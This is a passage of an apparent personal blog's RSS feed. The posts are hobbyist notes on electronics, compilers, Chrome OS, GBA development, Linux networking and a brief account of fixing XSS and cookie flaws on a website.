&lt;a href="https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/wpid-IMG_20131220_203523.jpg" target="_blank" rel="noopener">&lt;img title="IMG_20131220_203523.jpg" class="alignnone size-full" alt="image" src="https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/wpid-IMG_20131220_203523.jpg" />&lt;/a>&lt;/p>
&lt;p>I’m pretty happy with this. It’s a USB to 3.3 V 1 A supply using a AMS1117 linear regulator. I used the SMT version as the pin spacing is fine for veroboard and I can hide it away on the bottom of the board. The cable is three pins to give some keying and a bit more strength and hold.&lt;/p>
&lt;p>It could use some hot glue as strain relief on the cable.&lt;/p></description></item><item><title>FTDI serial adapters and Chrome OS</title><link>https://juju.nz/michaelh/2013/12/ftdi-serial-adapters-and-chrome-os/</link><pubDate>Tue, 17 Dec 2013 21:09:09 +0000</pubDate><guid>https://juju.nz/michaelh/2013/12/ftdi-serial-adapters-and-chrome-os/</guid><description>&lt;p>Looks like I’ve run into my first problem: FTDI based USB to serial adapters don’t work as they seem to be automatically disconnected shortly after plug in. I suspect that it’s udev running the brltty rules, not finding a assistive device, and aborting.&lt;/p>
&lt;p>The udev scripts are under &lt;code>/lib/udev/rules.d&lt;/code> but I can’t hack it as the rootfs is read only. Let’s see what
&lt;a href="https://code.google.com/p/chromium/issues/detail?id=323282" target="_blank" rel="noopener">the devs think.&lt;/a>.&lt;/p></description></item><item><title>chromium</title><link>https://juju.nz/michaelh/2013/12/chromium/</link><pubDate>Tue, 17 Dec 2013 08:10:22 +0000</pubDate><guid>https://juju.nz/michaelh/2013/12/chromium/</guid><description>&lt;p>Looks like I’ve run into my first problem: FTDI based USB to serial adapters don’t work on Chrome OS as they seem to be automatically disconnected shortly after plug in. I suspect that it’s udev running the brltty rules, not finding a assistive device, and aborting.&lt;/p>
&lt;p>The udev scripts are under /lib/udev/rules.d but I can’t hack it as the rootfs is read only. Let’s see what the devs think…?&lt;/p>
&lt;p class='wdgpo_gplus_attachment wdgpo_gplus_article_attachment'>
&lt;a class='wdgpo_gplus_article_attachment_link' href='https://code.google.com/p/chromium/issues/detail?id=323282'>An open-source project to help move the web forward.&lt;/a>
&lt;/p></description></item><item><title>ARM Chromebook as a primary machine</title><link>https://juju.nz/michaelh/2013/11/arm-chromebook-as-a-primary-machine/</link><pubDate>Sun, 24 Nov 2013 18:28:47 +0000</pubDate><guid>https://juju.nz/michaelh/2013/11/arm-chromebook-as-a-primary-machine/</guid><description>&lt;p>I’m going to see if my
&lt;a href="http://www.chromium.org/chromium-os/developer-information-for-chrome-os-devices/samsung-arm-chromebook" target="_blank" rel="noopener">Samsung ARM Chromebook&lt;/a> can be my primary machine.  I’ve put a
&lt;a href="https://github.com/dnschneid/crouton" target="_blank" rel="noopener">crouton&lt;/a> Ubuntu chroot on a SD card (so it survives the kids dropping out of developer mode) and will mainly SSH into it. I’m not fond of the speed or reliability of SD cards so I’ll see how that goes.&lt;/p>
&lt;p>I’m doing a bit of
&lt;a href="http://webpy.org/" target="_blank" rel="noopener">web.py&lt;/a> and
&lt;a href="http://playground.arduino.cc//Main/ArduinoOnOtherAtmelChips" target="_blank" rel="noopener">Arduino&lt;/a> (via
&lt;a href="http://www.nongnu.org/avrdude/" target="_blank" rel="noopener">avrdude&lt;/a>) hacking at the moment so the combo of a chroot, ARM, and low level mucking about will be entertaining.&lt;/p></description></item><item><title>Using clobber in machine descriptions</title><link>https://juju.nz/michaelh/2009/04/using-clobber-in-machine-descriptions/</link><pubDate>Thu, 23 Apr 2009 20:22:02 +0000</pubDate><guid>https://juju.nz/michaelh/2009/04/using-clobber-in-machine-descriptions/</guid><description>&lt;p>‘clobber’ ensures that the register is free before entering and after exiting an instruction. Therefore you can’t use it to say a register is used then destoryed by an instruction such as LOADACC, (X+) on X.&lt;/p>
&lt;p>Took a while to figure this out&lt;/p></description></item><item><title>Extreme optimisation</title><link>https://juju.nz/michaelh/2009/04/extreme-optimisation/</link><pubDate>Fri, 17 Apr 2009 07:40:46 +0000</pubDate><guid>https://juju.nz/michaelh/2009/04/extreme-optimisation/</guid><description>&lt;p>GCC is crazy.Â  It recognises a printf(‘foo\n’) and turns it into the equivalent puts(‘foo’) instead.&lt;/p>
&lt;p>builtins.c has all types of similar transformations including printf(‘%c’, v) to a putch(v) and printf(‘%s’, v) to fputs().&lt;/p></description></item><item><title>Canterbury innovation incubator</title><link>https://juju.nz/michaelh/2009/04/canterbury-innovation-incubator/</link><pubDate>Sun, 05 Apr 2009 05:08:53 +0000</pubDate><guid>https://juju.nz/michaelh/2009/04/canterbury-innovation-incubator/</guid><description>&lt;p>The
&lt;a href="http://www.cii.co.nz/index.shtml" target="_blank" rel="noopener">Cii&lt;/a> seems interesting. It needs more publicity – this is the first time I’ve heard of it in my fifteen years in Christchurch.&lt;/p></description></item><item><title>Adding new relocation types</title><link>https://juju.nz/michaelh/2009/03/adding-new-relocation-types/</link><pubDate>Mon, 30 Mar 2009 08:44:32 +0000</pubDate><guid>https://juju.nz/michaelh/2009/03/adding-new-relocation-types/</guid><description>&lt;p>For bfd, add them to the comment block in reloc.c then run ‘make headers’. One more make after that gets it through to bfd.h&lt;/p></description></item><item><title>binutils / bfd target magic</title><link>https://juju.nz/michaelh/2009/03/48/</link><pubDate>Mon, 02 Mar 2009 08:49:27 +0000</pubDate><guid>https://juju.nz/michaelh/2009/03/48/</guid><description>&lt;p>So the BFD architectures listed in &lt;tt>bfd.h&lt;/tt> are actually defined &lt;tt>archures.c&lt;/tt> in a big comment block at the start of the file.Â  This is split out and fired into the documentation, many bfd-in-xx.h files, and finally into bfd.h.&lt;/p>
&lt;p>Note that a ‘make headers’ doesn’t re-build it.Â  I found a ‘make distclean; ./configure’ was the most brute force way.&lt;/p></description></item><item><title>Python on an embedded system</title><link>https://juju.nz/michaelh/2009/02/python-on-an-embedded-system/</link><pubDate>Thu, 19 Feb 2009 07:17:49 +0000</pubDate><guid>https://juju.nz/michaelh/2009/02/python-on-an-embedded-system/</guid><description>&lt;p>I like Python.Â  I want to use Python everywhere.Â  Hmm.Â  Sounds more like an addiction.Â  The question is, is Python suitable as a glue language on a embedded Linux system?&lt;/p>
&lt;p>With a few hacks Python 1.5.2 cross compiles just fine.Â  The speed will be acceptable so it’s really only the size that matters.&lt;/p>
&lt;p>A standard build under x86 is 12.6M. From there:&lt;/p>
&lt;ul>
&lt;li>Stripping python saves 1.1M&lt;/li>
&lt;li>Removing man and include saves 400k&lt;/li>
&lt;li>Removing *.py and *.pyo saves 2.8M but still lets everything run&lt;/li>
&lt;li>Removing Tk, Config, and stdwin saves 3.9M&lt;/li>
&lt;li>Removing test saves 1.9M&lt;/li>
&lt;/ul>
&lt;p>This brings a fully working Python interpreter with all of the command line libraries down to 2.4M.Â  Quite respectable.&lt;/p></description></item><item><title>Naming</title><link>https://juju.nz/michaelh/2009/02/naming/</link><pubDate>Sun, 01 Feb 2009 19:20:14 +0000</pubDate><guid>https://juju.nz/michaelh/2009/02/naming/</guid><description>&lt;p>For personal reference.Â  What happens when you follow too strict of a naming convention:&lt;/p>
&lt;p>
&lt;a href="http://ws.apache.org/xmlrpc/apidocs/org/apache/xmlrpc/server/RequestProcessorFactoryFactory.html?rel=html" target="_blank" rel="noopener">http://ws.apache.org/xmlrpc/apidocs/org/apache/xmlrpc/server/RequestProcessorFactoryFactory.html?rel=html&lt;/a>&lt;/p></description></item><item><title>Hmm</title><link>https://juju.nz/michaelh/2008/11/hmm/</link><pubDate>Wed, 26 Nov 2008 08:42:41 +0000</pubDate><guid>https://juju.nz/michaelh/2008/11/hmm/</guid><description>&lt;p>
&lt;a href="http://www.ladyada.net/make/fuzebox/index.html" target="_blank" rel="noopener">http://www.ladyada.net/make/fuzebox/index.html&lt;/a>&lt;/p>
&lt;p>and&lt;/p>
&lt;p>
&lt;a href="http://www.makershed.com/ProductDetails.asp?ProductCode=MKPO1" target="_blank" rel="noopener">http://www.makershed.com/ProductDetails.asp?ProductCode=MKPO1&lt;/a>&lt;/p></description></item><item><title>Anthony’s</title><link>https://juju.nz/michaelh/2008/09/anthonys/</link><pubDate>Tue, 30 Sep 2008 03:27:51 +0000</pubDate><guid>https://juju.nz/michaelh/2008/09/anthonys/</guid><description>&lt;p>…fish grotto on the bay in San Diego is very good.&lt;/p>
&lt;p>They also do seafood.&lt;/p></description></item><item><title>Richard Stallman</title><link>https://juju.nz/michaelh/2008/08/richard-stallman/</link><pubDate>Sat, 16 Aug 2008 07:12:53 +0000</pubDate><guid>https://juju.nz/michaelh/2008/08/richard-stallman/</guid><description>&lt;p>Saw RMS at Canterbury University today.Â  He has an interesting point of view, very liberal, but also a point of view that is based on old technology.&lt;/p>
&lt;p>He said that sites like Google Docs are a problem as you are running a program on their machine, a program that you don’t have control over.Â  The solution is to install your own version on your own machine.Â  I wonder how you can do this and still get the advantages of hosted software, such as lower cost, lower administration, and higher availability.Â  I don’t want to manage any of the software I use, and one solution is to let someone else do it.&lt;/p>
&lt;p>He’s not concerned about embedded systems where a processor is used instead of a dedicated circuit, such as in a microwave.Â  However, my microwave gains time and I’d rather have it show time in 24 hours to match the stove.Â  Both I could fix with the source.Â  Then you have car computers such as the Nissan GT-R that
&lt;a href="http://www.autojab.com/on-a-race-track-nissan-gt-r-disables-speed-limiter-via-gps/" target="_blank" rel="noopener">changes the car response if it is on a race track&lt;/a>.Â  I heard a rumor of the NSX requiring you to take the car to the dealer if it goes anywhere near a known track.&lt;/p>
&lt;p>Hmm.Â  Perhaps the embedded/mechanical equivalent is the
&lt;a href="http://www.flickr.com/photos/pmtorrone/306528267/" target="_blank" rel="noopener">Maker Bill of Rights&lt;/a> from Make Magazine.&lt;/p></description></item><item><title>Zen of website maintenance</title><link>https://juju.nz/michaelh/2008/08/zen-of-website-maintenance/</link><pubDate>Wed, 06 Aug 2008 09:49:28 +0000</pubDate><guid>https://juju.nz/michaelh/2008/08/zen-of-website-maintenance/</guid><description>&lt;p>A certain website had a few vuneribilities including XSS and leaking passwords.Â  The fixes were:&lt;/p>
&lt;ul>
&lt;li>The &lt;code>&amp;lt;script&amp;gt;&lt;/code> tag was turned on for pending users.Â  Configure off. Â All other users get their tags filtered against a safe list&lt;/li>
&lt;li>The superuser always skips the filter and sees all tags. Â I can’t fix this, but I’ve changed the cookie so that its not useful to a cookie catcher&lt;/li>
&lt;li>The ‘password’ in the cookie was just a hash of the password.Â  It is now a hash of the password, the IP address of the client, and a secret. Â A leaked password should only be usable from the same IP&lt;/li>
&lt;li>The ‘password’ field has been removed from all forms and replaced with cookie based authentication&lt;/li>
&lt;/ul></description></item><item><title>Fun and games with Python vs C</title><link>https://juju.nz/michaelh/2008/08/fun-and-games-with-python-vs-c/</link><pubDate>Sun, 03 Aug 2008 09:18:32 +0000</pubDate><guid>https://juju.nz/michaelh/2008/08/fun-and-games-with-python-vs-c/</guid><description>&lt;p>I’m using Python to test the code generated by a C compiler.Â  Many of the tests are along the lines of:&lt;/p>
&lt;pre>a = 5&lt;/pre>
&lt;pre>b = 10&lt;/pre>
&lt;pre>result = run_c_code_for_add_in_emulator(a, b)&lt;/pre>
&lt;pre>assert result == a + b&lt;/pre>
&lt;p>This works fine except when dividing integers with rounding. Under GCC on x86, -100/30 is -3, but in Python -100//30 is -4.Â  Hmm.&lt;/p>
&lt;p>This has the interesting side effect that in Python 2.5 -a/b != -(a/b).&lt;/p>
&lt;p>The work-around seems to be to do it explicitly as int(float(a) / float(b)) is -3.&lt;/p></description></item><item><title>Big Mac Calories</title><link>https://juju.nz/michaelh/2008/07/big-mac-calories/</link><pubDate>Sun, 20 Jul 2008 05:06:45 +0000</pubDate><guid>https://juju.nz/michaelh/2008/07/big-mac-calories/</guid><description>&lt;p>Why does a NZ Big Mac have 464 calories, a UK one 495, and a US one 540?Â  It might be differences in weight but it’s hard to tell.&lt;/p></description></item><item><title>Seen on reddit</title><link>https://juju.nz/michaelh/2008/01/seen-on-reddit/</link><pubDate>Thu, 31 Jan 2008 06:13:58 +0000</pubDate><guid>https://juju.nz/michaelh/2008/01/seen-on-reddit/</guid><description>&lt;p class="md">
A man goes to his doctor and tells him, &amp;#8220;I&amp;#8217;ve had the song &amp;#8216;What&amp;#8217;s New Pussycat&amp;#8217; stuck in my head for weeks, and it&amp;#8217;s driving me crazy.&amp;#8221;
&lt;/p>
&lt;p>The doctor says, “Well, I think you may have Tom Jones disease.”&lt;/p>
&lt;p>The man says, “I’ve never heard of that. Is it rare?”&lt;/p>
&lt;p>The doctor says, “It’s not unusual.”&lt;/p></description></item><item><title>Moving to Dreamhost</title><link>https://juju.nz/michaelh/2007/12/moving-to-dreamhost/</link><pubDate>Thu, 13 Dec 2007 08:05:22 +0000</pubDate><guid>https://juju.nz/michaelh/2007/12/moving-to-dreamhost/</guid><description>&lt;p>Thought I’d move from Rimu Hosting to Dreamhost.Â  The VPS we’re on is just too slow and anything that brings the load down is good.&lt;/p>
&lt;p>I can’t move the secure sites as Dreamhost doesn’t provide any type of SSL, even a self signed cert from the wrong address, without switching to a static IP and handing over $50 US a year.&lt;/p>
&lt;p>And as always happens, I got part way into the move and accidentally brokeÂ  something on the original and had to do a rush switch.Â  Ah, well.&lt;/p></description></item><item><title>Comparing integers</title><link>https://juju.nz/michaelh/2007/12/comparing-integers/</link><pubDate>Thu, 13 Dec 2007 08:02:36 +0000</pubDate><guid>https://juju.nz/michaelh/2007/12/comparing-integers/</guid><description>&lt;p>Notes for next time:&lt;/p>
&lt;p>You can check if the unsigned integer ‘a’ is greater than ‘b’ by adding the ones complement of ‘b’ to ‘a’ and testing carry.Â  A twos complement subtraction doesn’t work as a &amp;gt; 0 is always false.&lt;/p>
&lt;p>Signed integers are similar but you first add &lt;tt>0x80000000&lt;/tt> to both a and b.Â  This makes both unsigned without changing the order.&lt;/p></description></item><item><title>Test after move</title><link>https://juju.nz/michaelh/2005/12/test-after-move/</link><pubDate>Tue, 06 Dec 2005 08:21:47 +0000</pubDate><guid>https://juju.nz/michaelh/2005/12/test-after-move/</guid><description>&lt;p>All relocated and imported. Now does posting work?&lt;/p></description></item><item><title>Engines for metaphilter++</title><link>https://juju.nz/michaelh/2005/09/engines-for-metaphilter/</link><pubDate>Tue, 20 Sep 2005 08:41:56 +0000</pubDate><guid>https://juju.nz/michaelh/2005/09/engines-for-metaphilter/</guid><description>&lt;p>
&lt;a href="http://www.djangoproject.com/" target="_blank" rel="noopener">Django&lt;/a> looks quite decent. Python (not PHP – good), built in basic admin, built in basic user accounts, and the template system is directly applicable to metaphilter.&lt;/p>
&lt;p>I’ll give it a try using sqlite 3.2.6 and pysqlite 2.0.4.&lt;/p></description></item><item><title>Planet Planet Planet</title><link>https://juju.nz/michaelh/2005/09/planet-planet-planet/</link><pubDate>Sat, 03 Sep 2005 08:47:45 +0000</pubDate><guid>https://juju.nz/michaelh/2005/09/planet-planet-planet/</guid><description>&lt;p>Planet Planet Planet Mushrooms Mushrooms!&lt;/p></description></item><item><title>Automatic PC fan control</title><link>https://juju.nz/michaelh/2005/06/automatic-pc-fan-control/</link><pubDate>Sun, 12 Jun 2005 07:45:53 +0000</pubDate><guid>https://juju.nz/michaelh/2005/06/automatic-pc-fan-control/</guid><description>&lt;p>Use a Atmel
&lt;a href="http://www.sicom.co.nz/xurl/PageID/2214/function/viewprd/prd_id/92602/pmm_id/0/8-bit-mcu-w2k-bytes-flash-20-dip.html" target="_blank" rel="noopener">ATTINY26&lt;/a>&lt;/p>
&lt;p>as a serial port based fan controller for a PC. Tracy’s machine is very noisy but has built in sensors for the CPU and case temperature. Use a PC app to do closed loop control on the temperature. Run it hot-ish as the cooling effect increases with the temperature differential so the hotter it runs the slower the fan needs to run.&lt;/p>
&lt;p>Use a FET for the fan drive. The reset case on the micro will be full noise. Could also use the on-board ADC and a resistor divider to sense the back EMF when the PWM is off to get an idea of fan speed.&lt;/p>
&lt;p>It should be very cheap – the micro is $6.20 and there is _very_ little support circuitry. Instead of using the CPUs sensor, you could add 1-wire or similar temperature gauges directly to the Atmel but at significant additional cost.&lt;/p></description></item><item><title>Infinite Power!</title><link>https://juju.nz/michaelh/2005/06/infinite-power/</link><pubDate>Sat, 11 Jun 2005 10:55:17 +0000</pubDate><guid>https://juju.nz/michaelh/2005/06/infinite-power/</guid><description>&lt;p>Noooooooooooooooooooooooo_ooooooooooooooooooooooooo_!&lt;/p></description></item><item><title>Ratchet &amp; Clank</title><link>https://juju.nz/michaelh/2005/06/ratchet-clank/</link><pubDate>Fri, 10 Jun 2005 09:27:05 +0000</pubDate><guid>https://juju.nz/michaelh/2005/06/ratchet-clank/</guid><description>&lt;p>Woo. All done. Reasonable length, very linear, and a bit…easy. Solution to the big bad: empty 200 blaster rounds for stage 1. Re-stock using the PDA. Empty 200 rounds for stage 2. Re-stock. Tesla coil for the mines and groundies, and blaster, tesla, and devistator for stage 3.&lt;/p></description></item><item><title>Wireless temperature cluster</title><link>https://juju.nz/michaelh/2005/06/21/</link><pubDate>Wed, 08 Jun 2005 09:01:25 +0000</pubDate><guid>https://juju.nz/michaelh/2005/06/21/</guid><description>&lt;p>For measuring the vertical temperature gradient cheaply at different stations across about a heactare of land. A heactare is 10000 m^2 or about 100×100 metres. You could use a set of
&lt;a href="http://www.maxim-ic.com/products/ibutton/" target="_blank" rel="noopener">1-wire&lt;/a> temperature sensors in a local cluster. Use a 433MHz radio link and coding similar to
&lt;a href="http://www.circuitcellar.com/library/print/0604/RicciBitti-167/index.htm" target="_blank" rel="noopener">this wireless mouse trap&lt;/a> and a battery pack to give greater than six month life.&lt;/p>
&lt;p>It would need something to collect the information as you don’t want a laptop to be on all of the time. The individual stations could keep transmitting a rolling few days of data or use something like
&lt;a href="http://mrtg.hdl.com/mrtg.html" target="_blank" rel="noopener">MRTG&lt;/a>‘s methods of collating data. Or keep something low power on all of the time that also decodes the protocol and provides a serial interface.&lt;/p>
&lt;p>Basic costs:&lt;/p>
&lt;ul>
&lt;li>Transmitter ~$4.20US&lt;/li>
&lt;li>Dallas 18B20 sensor – $2.57US&lt;/li>
&lt;li>Atmel ATTINY or similar – $5NZ&lt;/li>
&lt;/ul>
&lt;p>Mechanicals including a waterproof box and antenna, if any, would double the cost.&lt;/p></description></item><item><title>Power off on power button</title><link>https://juju.nz/michaelh/2005/05/power-off-on-power-button/</link><pubDate>Mon, 30 May 2005 07:24:15 +0000</pubDate><guid>https://juju.nz/michaelh/2005/05/power-off-on-power-button/</guid><description>&lt;p>Squishy, the Linux box, runs MythTV. It’s a bit tricky to turn off so it would be nice to have it turn off on pressing the power button. Turns out Ubuntu has everything there by default provided by &lt;tt>acpi&lt;/tt>, &lt;tt>acpid&lt;/tt>, and &lt;tt>acpi-support&lt;/tt>.&lt;/p>
&lt;p>References:&lt;/p>
&lt;ul>
&lt;li>
&lt;a href="http://ldp.paradoxical.co.uk/LDP/LGNET/106/pramode.html" target="_blank" rel="noopener">http://ldp.paradoxical.co.uk/LDP/LGNET/106/pramode.html&lt;/a>&lt;/li>
&lt;li>
&lt;a href="http://www.mjmwired.net/resources/redhat8-acpi.html" target="_blank" rel="noopener">http://www.mjmwired.net/resources/redhat8-acpi.html&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Playing with ndiswrapper</title><link>https://juju.nz/michaelh/2005/05/playing-with-ndiswrapper/</link><pubDate>Sun, 29 May 2005 08:07:43 +0000</pubDate><guid>https://juju.nz/michaelh/2005/05/playing-with-ndiswrapper/</guid><description>&lt;p>Very impressed so far. Purchased a Dick Smith
&lt;a href="http://www.dse.co.nz/cgi-bin/dse.storefront/4299766c0d648674273fc0a87f9907a0/Product/View/XH8227" target="_blank" rel="noopener">XH8227 802.11g USB&lt;/a> network adapter as they were on closeout for a reasonable price. There are efforts to get a
&lt;a href="http://jbnote.free.fr/prism54usb/" target="_blank" rel="noopener">driver going natively&lt;/a> using the
&lt;a href="http://prism54.org/" target="_blank" rel="noopener">prism54.org&lt;/a> drivers as a base but I wanted to get things up and going quickly.&lt;/p>
&lt;p>Got confused at first as I loaded the PCI drivers into ndiswrapper first and then couldn’t figure out why it couldn’t find the card. It came up quite quickly from there. My &lt;tt>/etc/network/interfaces&lt;/tt> ended up being:&lt;/p>
&lt;pre># The loopback network interface
auto lo wlan0
iface lo inet loopback
# This is a list of hotpluggable network interfaces.
# They will be activated automatically by the hotplug subsystem.
mapping hotplug
script grep
map eth0
# The primary network interface
iface eth0 inet static
address 192.168.2.2
netmask 255.255.255.0
iface wlan0 inet dhcp
wireless-key &amp;lt;secret>
wireless-essid Call&amp;lt;secret>
hostname squishy
&lt;/pre>
&lt;p>Added &lt;tt>mdnsresponder&lt;/tt> to squishy and now I can ping squishy from my iBook. Added &lt;tt>libnss-mdns&lt;/tt> and edited &lt;tt>/etc/nsswitch.conf&lt;/tt> to have &lt;tt>hosts: files dns mdns4&lt;/tt> and now I can ping crush.local from squishy. Nice. No DNS server incolved.&lt;/p></description></item><item><title>MonkeyFilter downtime</title><link>https://juju.nz/michaelh/2005/05/monkeyfilter-downtime/</link><pubDate>Mon, 16 May 2005 08:45:11 +0000</pubDate><guid>https://juju.nz/michaelh/2005/05/monkeyfilter-downtime/</guid><description>&lt;p>My web host took down my account due to a WordPress administration script taking up all of the CPU. For some reason four copies of the &lt;code>wp-admin/categories.php&lt;/code> script were spinning pushing the load average above 20. It isn’t linked from any of the user scripts and there were no direct accesses in the access log, and I haven’t used WordPress since, well, the last post so it really is a mystery.&lt;/p>
&lt;p>I’ve upgraded to 1.5.1 and added an Apache level password on the admin area as defensive measures.&lt;/p></description></item><item><title>Experiments with Fuse</title><link>https://juju.nz/michaelh/2005/04/experiments-with-fuse/</link><pubDate>Mon, 25 Apr 2005 08:22:16 +0000</pubDate><guid>https://juju.nz/michaelh/2005/04/experiments-with-fuse/</guid><description>&lt;p>
&lt;a href="http://fuse-emulator.sf.net/" target="_blank" rel="noopener">Fuse&lt;/a> is a quite complete Spectrum emulator with a very good Z80 core already used in the
&lt;a href="http://www.chuntey.com/eightyone/" target="_blank" rel="noopener">EightyOne&lt;/a> Windows only ZX81 emulator. The core has many hooks in it for the various Spectrum functions that go on and is not as clean to separate out as I hoped – I’ll have to do a simple fork of it, clean out the Fuse parts and then put in the ZX81 parts.&lt;/p>
&lt;p>There are other raw speed issues with the at least registers being in statics and memory being accessed through helper functions that will mean it is too slow on the GBA. One thing at a time though. First I’ll get the core running under ncurses on the Mac, then in a simple text mode on the GBA, then we’ll have a look at the speed. A good thing about the ZX81 is that the basic screen mode is pure(-ish) text encoded in a simple way so it can be rendered to a console easily.&lt;/p></description></item><item><title>Mapping MonkeyFilter</title><link>https://juju.nz/michaelh/2005/04/mapping-monkeyfilter/</link><pubDate>Wed, 20 Apr 2005 08:25:26 +0000</pubDate><guid>https://juju.nz/michaelh/2005/04/mapping-monkeyfilter/</guid><description>&lt;p>I’m quite impressed with xplanet (
&lt;a href="http://xplanet.sf.net/%29" target="_blank" rel="noopener">http://xplanet.sf.net/)&lt;/a>. You can give it a text file containing lat, long, and markers and generate a map of the world with people’s locations on it. Put it on a Wiki so people can edit it and you get&lt;/p>
&lt;p>
&lt;a href="http://wiki.monkeyfilter.com/index.php?title=MonkeyMap" target="_blank" rel="noopener">http://wiki.monkeyfilter.com/index.php?title=MonkeyMap&lt;/a>&lt;/p>
&lt;p>The tricky thing is figuring out how to do just part of the world, such as North America. The world map is a projection but you can’t zoom in on a projected view. Turns out you can put it in globe mode, centre on the area you want to record, and zoom in so that it looks flat.&lt;/p></description></item><item><title>Closer, closer</title><link>https://juju.nz/michaelh/2005/04/closer-closer/</link><pubDate>Fri, 08 Apr 2005 09:07:48 +0000</pubDate><guid>https://juju.nz/michaelh/2005/04/closer-closer/</guid><description>&lt;p>DKA R4 really didn’t work out. Got DKA R4-beta5 out of the Sourceforge CVS. It needed a bit of massaging but it compiled. &lt;em>And&lt;/em> some of the examples compile. &lt;em>And&lt;/em> run.&lt;/p>
&lt;p>&lt;em>And&lt;/em> my Xport arrived yesterday. It worked OK off my Linux box once I set the port to SPP from EPP.&lt;/p></description></item><item><title>Compile!</title><link>https://juju.nz/michaelh/2005/04/14/</link><pubDate>Wed, 06 Apr 2005 08:42:47 +0000</pubDate><guid>https://juju.nz/michaelh/2005/04/14/</guid><description>&lt;p>Getting crt0.s to work with devkitARM seems more effort than getting DKA to compile under the Mac. Got DKA release 4. Doesn’t build out of the box but built in the end. Unfortunatley my xport copy is quite broken so I can’t tell if the current problems are due to DKA 4 vs DKA 5 or the modifications I made while playing with devkitARM.&lt;/p></description></item><item><title>MonkeyFilter transfer</title><link>https://juju.nz/michaelh/2005/04/monkeyfilter-transfer/</link><pubDate>Sat, 02 Apr 2005 09:56:29 +0000</pubDate><guid>https://juju.nz/michaelh/2005/04/monkeyfilter-transfer/</guid><description>&lt;p>Changed over to WordPress and I notice my first posts were about MonkeyFilter’s transfers.&lt;/p>
&lt;p>Then:&lt;/p>
&lt;ul>
&lt;li>416MB after about 20 days
&lt;ul>
&lt;li>
&lt;p>59MB in 18 hours &lt;/ul>
Now:&lt;/p>
&lt;ul>
&lt;li>443MB in the first day of the month
&lt;ul>
&lt;li>10.25GB for March &lt;/ul>
The growth for the last three months has been 8.24G to 9.06G to 10.25G or 10 to 13% per month. Compound that to 390% yearly growth. Hope not.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul></description></item><item><title>GDB</title><link>https://juju.nz/michaelh/2005/04/gdb/</link><pubDate>Sat, 02 Apr 2005 08:56:38 +0000</pubDate><guid>https://juju.nz/michaelh/2005/04/gdb/</guid><description>&lt;p>So GDB 6.3 doesn’t compile out of the box on a Mac for a couple of reasons – it assumes the localisation library ‘intl’ source is available as well and it has compilation problems with one of the ARM protocol interfaces. The code uses a #ifdef on __linux or CYGWIN to detect a Unix platform and goes to Windows otherwise.&lt;/p>
&lt;p>Got GDB 6.0 with the rest of the tool chain from the GNU ARM project –
&lt;a href="http://www.gnuarm.com/" target="_blank" rel="noopener">http://www.gnuarm.com/&lt;/a>. It connects into VisualBoy fine.&lt;/p>
&lt;p>Next is to compare the startup files between devkitARM and DKA. I need a good debugger GUI but apparently Insight doesn’t work on the Mac. Eclipse time.&lt;/p></description></item><item><title>Compiling Xport for Mac OS X</title><link>https://juju.nz/michaelh/2005/03/compiling-xport-for-mac-os-x/</link><pubDate>Thu, 31 Mar 2005 09:12:16 +0000</pubDate><guid>https://juju.nz/michaelh/2005/03/compiling-xport-for-mac-os-x/</guid><description>&lt;p>VisualBoy Advance also has a native Mac port and has GBD support. The Mac binary is missing the debugger hooks so I’ll try compiling the SDL version.&lt;/p>
&lt;p>I’ve gotten one small demo to compile and run using the information at
&lt;a href="http://user.chem.tue.nl/jakvijn/tonc/setup.htm" target="_blank" rel="noopener">http://user.chem.tue.nl/jakvijn/tonc/setup.htm&lt;/a>. The critical things are:&lt;/p>
&lt;ul>
&lt;li>-mthumb-interwork on gcc
&lt;ul>
&lt;li>
&lt;p>-specs=gba.specs when linking. &lt;/ul>
DarkFader’s gbafix 1.03 won’t work on the Mac due to endian issues.&lt;/p>
&lt;p>Xport uses a derivitave of the devKit Advance crt0 which is completly different to devkitArm. -nostartfiles gcc option disables the standard crt0, but the Xport crt0 uses many symbols that DKA doesn’t support.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul></description></item><item><title>Xport ordered</title><link>https://juju.nz/michaelh/2005/03/xport-ordered/</link><pubDate>Wed, 30 Mar 2005 09:30:40 +0000</pubDate><guid>https://juju.nz/michaelh/2005/03/xport-ordered/</guid><description>&lt;p>I ordered my
&lt;a href="http://charmedlabs.com" target="_blank" rel="noopener">Xport 2.0&lt;/a> for the GBA today. To do things the hard way, I’ve decided to get everything going under Mac OS X 10.3.&lt;/p>
&lt;p>Notes so far:&lt;/p>
&lt;ul>
&lt;li>Got the devkitARM r11 binaries for Mac. devkit Advance is apparently depreciated. Gives me gcc 3.4 at least.
&lt;ul>
&lt;li>Got the Xport Windows tools distribution from charmedlabs.com. Extracted it out and copied it over.
&lt;ul>
&lt;li>Got Boycott Advance v0.3.5. Apparently it’s the only emulator for Mac. No debugger support or source code.
&lt;ul>
&lt;li>The pre-built binaries work fine under Boycott.
&lt;ul>
&lt;li>Tried to re-compile the helloworld_c example. It links but doesn’t run.
&lt;ul>
&lt;li>The libgba supplied with Xport is unrelated to libgba from DKA.
&lt;ul>
&lt;li>Got the xport distribution from the sourceforge CVS. &lt;/ul>
Next step is to re-build the Xport libgba and go from there.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul></description></item><item><title>Overscan and audio CDs</title><link>https://juju.nz/michaelh/2003/11/overscan-and-audio-cds/</link><pubDate>Sat, 29 Nov 2003 03:08:33 +0000</pubDate><guid>https://juju.nz/michaelh/2003/11/overscan-and-audio-cds/</guid><description>&lt;p>Right, well Freevo already has an undocumented OVERSCAN config item. Set that to slowly bring in the corners of the display. About 70×30 is right for our system, although the watermark pictures on the main screen are a bit distorted.&lt;/p>
&lt;p>mmpython has a problem where it stops loading any disc plugins if any fail, and unfortunatly the dvd one is at the top of the list. Shifting it to the bottom made audio CDs work.&lt;/p>
